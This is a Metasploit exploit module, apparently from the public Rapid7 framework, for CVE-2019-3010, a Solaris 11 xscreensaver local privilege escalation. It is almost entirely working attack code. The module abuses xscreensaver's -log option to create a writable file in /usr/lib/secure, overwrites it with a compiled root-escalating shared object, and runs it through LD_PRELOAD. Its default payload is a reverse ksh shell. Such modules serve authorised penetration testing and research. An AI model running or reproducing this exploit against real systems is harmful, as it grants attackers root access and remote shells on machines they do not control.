## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Solaris::Priv include Msf::Post::Solaris::System include Msf::Post::Solaris::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Solaris xscreensaver log Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in `xscreensaver` versions since 5.06 on unpatched Solaris 11 systems which allows users to gain root privileges. `xscreensaver` allows users to create a user-owned file at any location on the filesystem using the `-log` command line argument introduced in version 5.06. This module uses `xscreensaver` to create a log file in `/usr/lib/secure/`, overwrites the log file with a shared object, and executes the shared object using the `LD_PRELOAD` environment variable. This module has been tested successfully on: xscreensaver version 5.15 on Solaris 11.1 (x86); and xscreensaver version 5.15 on Solaris 11.3 (x86). }, 'References' => [ ['CVE', '2019-3010'], ['EDB', '47509'], ['URL', 'https://seclists.org/fulldisclosure/2019/Oct/39'], ['URL', 'https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver'], ['URL', 'https://techblog.mediaservice.net/2019/10/local-privilege-escalation-on-solaris-11-x-via-xscreensaver/'], ['URL', 'https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html'] ], 'Notes' => { 'AKA' => ['raptor_xscreensaver'] }, 'License' => MSF_LICENSE, 'Author' => [ 'Marco Ivaldi', # Discovery and exploit 'bcoles' # Metasploit ], 'DisclosureDate' => '2019-10-16', 'Privileged' => true, 'Platform' => ['solaris', 'unix'], 'Arch' => [ARCH_CMD], 'Targets' => [['Auto', {}]], 'SessionTypes' => ['shell', 'meterpreter'], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_ksh', 'WfsDelay' => 10, 'PrependFork' => true }, 'DefaultTarget' => 0)) register_options [ OptString.new('XSCREENSAVER_PATH', [true, 'Path to xscreensaver executable', '/usr/bin/xscreensaver']), OptString.new('XORG_PATH', [true, 'Path to Xorg executable', '/usr/bin/Xorg']) ] register_advanced_options [ OptString.new('Xdisplay', [true, 'Display to use if starting a new Xorg session', ':1']), OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def xscreensaver_path datastore['XSCREENSAVER_PATH'] end def xorg_path datastore['XORG_PATH'] end def mkdir(path) vprint_status "Creating directory '#{path}'" cmd_exec "mkdir -p '#{path}'" register_dir_for_cleanup path end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_compile(path, data) upload "#{path}.c", data output = cmd_exec "PATH=\"$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin\" gcc -fPIC -shared -s -g -O2 -lc -o #{path} #{path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end register_file_for_cleanup path end def check unless setuid? xscreensaver_path vprint_error "#{xscreensaver_path} is not setuid" return CheckCode::Safe end vprint_good "#{xscreensaver_path} is setuid" unless has_gcc? vprint_error 'gcc is not installed' return CheckCode::Safe end vprint_good 'gcc is installed' xscreensaver_version = cmd_exec("#{xscreensaver_path} --help").to_s.scan(/^xscreensaver ([\d\.]+)/).flatten.first if xscreensaver_version.to_s.eql? '' vprint_error 'Could not determine xscreensaver version' return CheckCode::Detected end # Bug introduced in version 5.06. Patched in version <~ 5.42. unless Gem::Version.new(xscreensaver_version).between?(Gem::Version.new('5.06'), Gem::Version.new('5.41')) vprint_error "xscreensaver version #{xscreensaver_version} is not vulnerable" return CheckCode::Safe end vprint_good "xscreensaver version #{xscreensaver_version} appears to be vulnerable" CheckCode::Appears end def exploit if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end unless writable? datastore['WritableDir'] fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" end # Set display display = cmd_exec 'echo $DISPLAY' kill_xorg = false if display.to_s.blank? display = datastore['Xdisplay'] print_status "Starting Xorg on display #{display} ..." cmd_exec "#{xorg_path} #{display} & echo " kill_xorg = true else print_status "Using Xorg display #{display} ..." end # Create writable log file in /usr/lib/secure/ lib_name = rand_text_alphanumeric 5..10 if cmd_exec("/usr/bin/file #{xscreensaver_path}").to_s.include? 'ELF 64-bit' secure_path = "/usr/lib/secure/64/" else secure_path = "/usr/lib/secure/" end lib_path = "#{secure_path}#{lib_name}.so" print_status "Creating log file #{lib_path} ..." cmd_exec "umask 0; DISPLAY=#{display} #{xscreensaver_path} -display #{display} -log #{lib_path} & echo " Rex.sleep(5) cmd_exec 'pkill -U `whoami` -n xscreensaver' if kill_xorg cmd_exec 'pkill -U `whoami` -n Xorg' end unless writable? lib_path fail_with Failure::NotVulnerable, "Could not create writable log file #{lib_path}" end register_file_for_cleanup lib_path # Upload and compile shared object base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}" mkdir base_path payload_name = ".#{rand_text_alphanumeric 5..10}" payload_path = "#{base_path}/#{payload_name}" so = <<-EOF #include void __attribute__((constructor)) cons() { setuid(0); setgid(0); unlink("#{lib_path}"); execle("#{payload_path}", "", NULL, NULL); _exit(0); } EOF so_name = ".#{rand_text_alphanumeric 5..10}" so_path = "#{base_path}/#{so_name}" upload_and_compile so_path, so # Overwrite newly created log file with compiled shared object vprint_status "Writing shared object to #{lib_path}" cmd_exec "cp '#{so_path}' '#{lib_path}'" # Upload and execute payload if payload.arch.first.to_s == 'cmd' upload payload_path, "#!/bin/sh\n#{payload.encoded}" else upload payload_path, generate_payload_exe end chmod payload_path print_status 'Executing payload...' cmd_exec "LD_PRELOAD=#{lib_path} #{xscreensaver_path} --help & echo " end end